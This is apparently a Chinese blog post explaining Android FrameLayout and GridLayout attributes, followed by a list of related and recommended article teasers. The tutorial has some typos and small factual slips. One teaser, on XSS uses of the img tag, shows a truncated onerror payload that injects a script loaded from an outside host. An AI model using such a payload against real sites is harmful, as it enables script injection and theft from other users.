Android中帧布局-FrameLayout和网格布局-GridLayout
帧布局-FrameLayout
一、概念
帧布局中,容器为每个加入其中的空间创建一个空白的区域(成为一帧)。每个空间占据一帧,这些帧会按gravity属性自动对齐。
帧布局的效果是将其中的所有空间叠加在一起。
二、常用属性
1.layout_gravity属相值列表
top,顶端。
tottom,底端对齐。
left,左端对齐。
right,右端对齐。
center,水平,垂直同时居中,
center_vertical,垂直方向居中,
center_horizontal,水平方向居中,
fill_vertical,垂直方向填充
fill_horizontal,水平方向填充
网格布局-GridLayout
一、概念
GridLayout布局使用虚细线将布局划分为行、列和单元格,支持一个控件在行、列上交错排列。
GridLayout使用与LinearLayout类似的API,只修改先关的标签,GridLayout的布局策略分为三个部分:
1.与LinearLayout布局,也分为水平和垂直两种方式,默认是水平布局,一个
控件挨着一个控件从左到右依次排列,但是通过制定android:columnCount设置列数
的属性后,控件会自动换行进行排列。
2.对于GridLayout布局中的子控件,默认按照warp_content的方式设置其显示。
3.若要指定某空间跨行或或库跨列显示,可设置该子控件的Android:layout_column="0"标示从第一行开始。
二、常用属性
columnCount,设置一行最大列数,
orientation,设置布局方向,包括horizontal:水平、vertical:垂直。
rowCount,设置布局最大列数
columnSpan,设置跨列数
rowSpan,设置跨行数
Android中帧布局-FrameLayout和网格布局-GridLayout的更多相关文章
- Android中View绘制优化之一---- 优化布局层次
本文原创, 转载请注明出处:http://blog.csdn.net/qinjuning 前言,竟然是翻译,当然得弄的有板有眼. 照着大作家格式来咯 , - - . 译序 最近一直在做锁屏界面,之前也 ...
- Android中View的layout mechanism(布局机制)
layout mechanism Android中View的layout mechanism主要分为两个阶段:measure阶段和layout阶段.layout mechanism按照一定的顺序进行, ...
- CSS多列布局Multi-column、伸缩布局Flexbox、网格布局Grid详解
新css属性为我们提供了更加便捷的网页布局方式.来自微软的thomas lewis将带你认识去Grid Alignment,Flexibox Box以及Multi-column Layout这三大领域 ...
- TKinter布局之grid 网格布局
1.由于我们的程序大多数都是矩形,因此特别适合于网格 布局,也就是 grid 布局. 2.使用 grid 布局的时候,我们使用 grid 函数,在里面指 定两个参数,用 row 表示行,用 colum ...
- 网页布局——grid弹性网格布局
网格布局(Grid)是最强大的 CSS 布局方案. Flexbox 是为一维布局设计的,而 Grid 是为二维布局设计. grid目前兼容性目前还可以,主流浏览器对它的支持力度很大,ie9,10宣布它 ...
- Android中帧动画的创建
帧动画,实质上就是快速播放多张连接效果的图片,现在一般可用于下拉刷新时候的headView 实现步骤: 1.首先应该准备一组连接效果的图片 2.在res>drawable目录下创建xml文件,将 ...
- Android精通:TableLayout布局,GridLayout网格布局,FrameLayout帧布局,AbsoluteLayout绝对布局,RelativeLayout相对布局
在Android中提供了几个常用布局: LinearLayout线性布局 RelativeLayout相对布局 FrameLayout帧布局 AbsoluteLayout绝对布局 TableLayou ...
- Android中的五大布局
Android中的五大布局 1.了解布局 一个丰富的界面总是要由很多个控件组成的,那我们如何才能让各个控件都有条不紊地 摆放在界面上,而不是乱糟糟的呢?这就需要借助布局来实现了.布局是一种可用于放置很 ...
- android中常用的布局管理器
Android中的几种常用的布局,主要介绍内容有: View视图 RelativeLayout 相对布局管理器 LinearLayout 线性布局管理器 FrameLayout ...
随机推荐
- java代码实现打包多个文件下载功能
//传入对应的需要打包的file 集合对象 //文件打包下载 public static HttpServletResponse downLoadFiles(List<File> ...
- Hibernate调用存储过程和函数
操作大批量数据或复杂逻辑,考虑到执行效率和代码量的时候,存储过程和函数在数据库中是预编译好的,调用执行效率高 // 调用过程 {call 过程名称(?,?,?)} public static void ...
- 好看的css3按钮和文本框
.button{ width: 80px; line-height: 25px; text-align: center; ; color: #fff; text-shadow:1px 1px 1px ...
- zk jquery的使用
jQuery_effects.zul: <?page title="Jquery" contentType="text/html;charset=UTF-8&quo ...
- 关于 QRCode 的问题[C# 生成二维码固定大小]
一直在纠结了一天多的问题:就是为什么生成的二维码会随着内容多少的变化而变化大小,但是为什么网上做出来的二维码内容变化但是大小却没有变化?刚开始的时候我就一直围绕着是不是根据缩略图来做的,但是这个方法行 ...
- Xss里img标签的一些利用
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="//x ...
- NeuSoft(2)添加系统调用
1.下载内核 apt-get install linux-source 在/usr/src下 2.解压内核 cd /usr/src tar -jxvf linux-source-3.2.0.tar.b ...
- 3_STL算法
1.常用遍历算法1.1 for_each for_each(v1.begin(),v1.end(),show); void show(int &n) //回调函数的入口地址 { cout &l ...
- 队列的C++实现(数组)——创建-进队-出队-返回队首元素-清空队列栈-处理队列
队列的数组实现,从队尾进入,对头删除. 队列长度用标志变量size,它是独立于front和rear的一个变量.size == 0,队列为空.size == capacity,满队列. 一.结点声明 s ...
- php判断字符串A是否含有字符串B
<?php if (preg_match ("/PHP/", "PHP is the web scripting language of choice." ...